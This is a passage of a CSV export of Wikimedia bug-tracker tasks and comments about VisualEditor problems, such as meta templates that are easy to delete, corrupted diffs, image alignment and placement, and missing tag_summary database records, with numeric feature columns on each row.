+https://gerrit.wikimedia.org/r/73850",,,1373916753,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-67oipsmostyhug2737rz,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53322,VisualEditor: Handle 'meta' templates better,"Some templates are only used to include metadata, e.g. categories. In this example http://en.wikipedia.org/w/index.php?title=Ashton_Agar&oldid=564224425&veaction=edit the document starts with two such categories, producing linebreak characters, with templates spanning 0 characters in between (accessible still be cursoring). An uninitiated user may just decide to delete this whole line at the the top, thus removing the hidden templates.
+
+Perhaps we need to detect if a template contains no meaningful content and then move it into the metadata so it can't be accidentally deleted. We'd also need a UI for editing them though.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51420",High,80.0,1373810580,1374676752.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-faltfztxkqc5daxcntnx,task_description,resolved,True,c1,3,True,False,True,1,,1,0,0,1,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,0
+241551,VisualEditor: Handle 'meta' templates better,Additional issue with empty HTML elements produced by templates (which are used for metadata) in bug 52551.,,,1375720301,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,True,,,5,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+241545,VisualEditor: Handle 'meta' templates better,Fixed and will get deployed in a few minutes.,,,1374676752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+241538,VisualEditor: Handle 'meta' templates better,"Change 75331 merged by jenkins-bot:
+Handle meta-only transclusions as meta items
+
+https://gerrit.wikimedia.org/r/75331",,,1374676162,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241530,VisualEditor: Handle 'meta' templates better,"I marked this as a dup of bug 49806, not dup of 51420.",,,1374604232,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+241522,VisualEditor: Handle 'meta' templates better,"Change 75331 had a related patch set uploaded by Esanders:
+Handle meta-only transculsions as meta items
+
+https://gerrit.wikimedia.org/r/75331",,,1374586930,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241514,VisualEditor: Handle 'meta' templates better,This is not the same as bug 51420. This specifically concerns templates which only produce 'metadata' in the VE-data-model meaning of the term.,,,1374586909,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+241505,VisualEditor: Handle 'meta' templates better,"
+
+*** This bug has been marked as a duplicate of bug 49806 ***",,,1374447614,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+241499,VisualEditor: Handle 'meta' templates better,Another example given on WP:VEF is {{Link FA}},,,1374135248,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+241490,VisualEditor: Handle 'meta' templates better,"To help searching: the cited examples are {{Use dmy dates}} and {{Use Australian English}}.
+
+Increasing importance/priority because they can be deleted unintentionally, and it is very unlikely a new user will know how to add them back before they click save.",,,1374135077,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-faltfztxkqc5daxcntnx,task_subcomment,,True,c1,3,False,,,2,,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+53304,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues","**Author:** `wmdv`
+
+**Description:**
+I changed the word ""you"" to ""your"" by inserting an ""r,"" in [[Gerrit/Tutorial]], but the edit summary said I inserted 10 characters, and the [https://www.mediawiki.org/w/index.php?title=Gerrit/Tutorial&diff=prev&oldid=732497 diff report] showed about 15 lines, with various things shifted around.  I was using Chrom on Windows 8.
+
+I reported this on the support page, and 88.130.86.210‎17:17, July 13, 2013 reverted my edit, and suggested I file a bug report. [https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Extensive_diff_report. Support desk resolution.]
+
+I have also been noticing that when a change comes up on my Wikipedia watch list, I sometimes have difficulty telling what an editor did, because the diff report is full of unmodified content.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Extensive_diff_report%2E",High,80.0,1373764920,1421282222.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-sm4xza7t5teplcefqzij,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+399859,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues",No ability to track this down and no recurrence in over a year; closing.,,,1421282222,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,True,,,80,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+240387,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues",Very odd corruption; assigning.,,,1373816884,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,True,,,1,,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+240380,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues","Trying to manually encode the dot again... It didn't work even on the URL field.
+
+https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Extensive_diff_report%2E",,,1373800417,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+240375,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues","**wmdv** wrote:
+
+I am unable to enter the correct url, because it ends with a period, which seems to confuse bugzilla.",,,1373765414,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+240371,"VisualEditor: Whitespace corruption, HTML-like entities removed, and apparent DSR issues","**wmdv** wrote:
+
+The url for the support desk case is [https://www.mediawiki.org/wiki/Thread:Project:Support_desk/Extensive_diff_report.]",,,1373765293,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sm4xza7t5teplcefqzij,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+53293,VisualEditor: Set image alignment in the media dialog,"From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):
+
+Inserted images are formatted as right-aligned, and they can't be move to the left side of the page. Similarly, existing images that are left-aligned can't be moved to the right side of the page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1373723400,1391656868.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-lufoybqaultvloukxdjz,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+239795,VisualEditor: Set image alignment in the media dialog,"Change 105225 merged by jenkins-bot:
+Adding position setting to media edit dialog
+
+https://gerrit.wikimedia.org/r/105225",,,1391655762,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+239789,VisualEditor: Set image alignment in the media dialog,"Change 105225 had a related patch set uploaded by Jforrester:
+Adding position setting to media edit dialog
+
+https://gerrit.wikimedia.org/r/105225",,,1389677127,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+239782,VisualEditor: Set image alignment in the media dialog,"It's not a problem with right-to-left languages ;)
+
+Removing the tracking bug.",,,1373915285,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+239777,VisualEditor: Set image alignment in the media dialog,"Permanent diff: 
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564362312#Issues_with_images",,,1373897055,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+239774,VisualEditor: Set image alignment in the media dialog,"I've copied his words verbatim as part of a long string of issues, but if it is helpful for you to see these word in context, it will be here until it archives:
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Templates_not_aligned",,,1373896912,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+239771,VisualEditor: Set image alignment in the media dialog,"Is bug 51295 a duplicate?
+
+(In reply to comment #0)
+> From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):
+
+An URL is always highly welcome.",,,1373883475,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-lufoybqaultvloukxdjz,task_subcomment,,True,c1,3,True,,,2,,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1
+53292,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)","From English Wikipedia, John Broughton (♫♫) 22:40, 12 July 2013 (UTC):
+
+VE allows the image to be dropped into the middle of a word. I moved the test image perhaps a dozen times, and this happened twice - that shouldn't be possible, yes? [The words that were split were ""addition"" and ""Israel""; when I moved the image again, the words remained split (with an end-of-line inserted).]
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1373723100,1403005130.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+239739,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)","51666 is the more general bug for relocating block items.
+
+*** This bug has been marked as a duplicate of bug 51666 ***",,,1403005130,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,True,,,50,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0
+239737,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)",The initial plan is to try bug 65883 and see whether this is a good enough solution.,,,1401418955,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,True,,,47,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+239735,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)",*** Bug 52657 has been marked as a duplicate of this bug. ***,,,1401418881,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+239731,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)",So what is the way to fix this?,,,1387304036,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+239729,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)","en.wp user Fram comments:
+""it should be made impossible that when people move images in VE (which is very easy), they put it (inadvertently) in the middle of a word. Preferably, images should only be movable to spaces between paragraphs, but they certainly shouldn't be movable to the middle of a word. Example: [https://en.wikipedia.org/w/index.php?title=Egypt%E2%80%93United_States_relations&curid=15982815&diff=566841885&oldid=565660404]
+
+The problem seems to be that when you move a picture, the final location is not decided by the upper left corner of the image (which seems more intuitive to me), but by the location of your cursor somewhere in the middle of the picture.""",,,1375444170,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,False,,,4,,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1
+239723,"VisualEditor: It should be clearer to users that they are inserting a media item in an odd place (e.g. into the middle of a word, middle of a paragraph)",*** Bug 52178 has been marked as a duplicate of this bug. ***,,,1375298515,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4hclm7qlzk6wj2x4xb2q,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53270,VisualEditor: Mobile Google Chrome text cursor hides link object icon,"On Google Chrome on Galaxy Note 2
+
+1. open VE
+2. 'click' on a link
+
+Results:
+The text cursor appears at the character of text selected.
+The link editor icon appears below the character of text selected.
+The text cursor makes it impossible? to click on the link editor icon.
+
+One solution would be to place the link editor icon above the linked text, and ideally place it always at the end of the linked text instead of at the character where the text cursor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373672640,1399324087.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-5am5k4waw47kga4kfuau,task_description,invalid,True,c1,3,False,False,False,1,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+238455,VisualEditor: Mobile Google Chrome text cursor hides link object icon,The mobile version of VisualEditor doesn't do text over-lays to avoid issues like this bug. Closing as INVALID now that work there is progressing.,,,1399324087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5am5k4waw47kga4kfuau,task_subcomment,,True,c1,3,True,,,44,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+238451,VisualEditor: Mobile Google Chrome text cursor hides link object icon,"Clicking the link icon at the top of the article works, which is a reasonable workaround. Dropping priority.",,,1373681941,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5am5k4waw47kga4kfuau,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+238444,VisualEditor: Mobile Google Chrome text cursor hides link object icon,"The link icon moves when the text cursor is moved.
+
+It is possible to zoom in to press the link icon, but it is very fiddly.",,,1373680362,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5am5k4waw47kga4kfuau,task_subcomment,,True,c1,3,False,,,1,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+53254,tag_summary missing records,"tag_summary duplicates data in change_tag, but is missing some records. 
+
+Eg:
+
+select * from change_tag where ct_rev_id = 563615370;
++-----------+-----------+-----------+--------------+-----------+
+| ct_rc_id  | ct_log_id | ct_rev_id | ct_tag       | ct_params |
++-----------+-----------+-----------+--------------+-----------+
+| 589674173 |      NULL | 563615370 | visualeditor | NULL      |
++-----------+-----------+-----------+--------------+-----------+
+
+select * from tag_summary where ts_rev_id = 563615370;
+Empty set (0.01 sec)
+
+Cause unknown at time of writing.
+
+Relevant recent activity:
+
+https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VisualEditor_tag_not_working_correctly
+
+https://bugzilla.wikimedia.org/show_bug.cgi?id=40867
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1373656680,1382126117.0,PHID-USER-lxluxbieyr4tgfyp5jru,False,,False,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+237406,tag_summary missing records,That was bug 52077. Closing this.,,,1382126117,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,15,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+237398,tag_summary missing records,"Whatever is causing that (maybe just a misconfigured local filter?), it's most likely not related to this bug.",,,1374793514,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-3hxhzuqbp3dgpcaubftg,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,0
+237392,tag_summary missing records,"**swalling** wrote:
+
+(In reply to comment #16)
+> Much better, but I'm still seeing some issues:
+> 
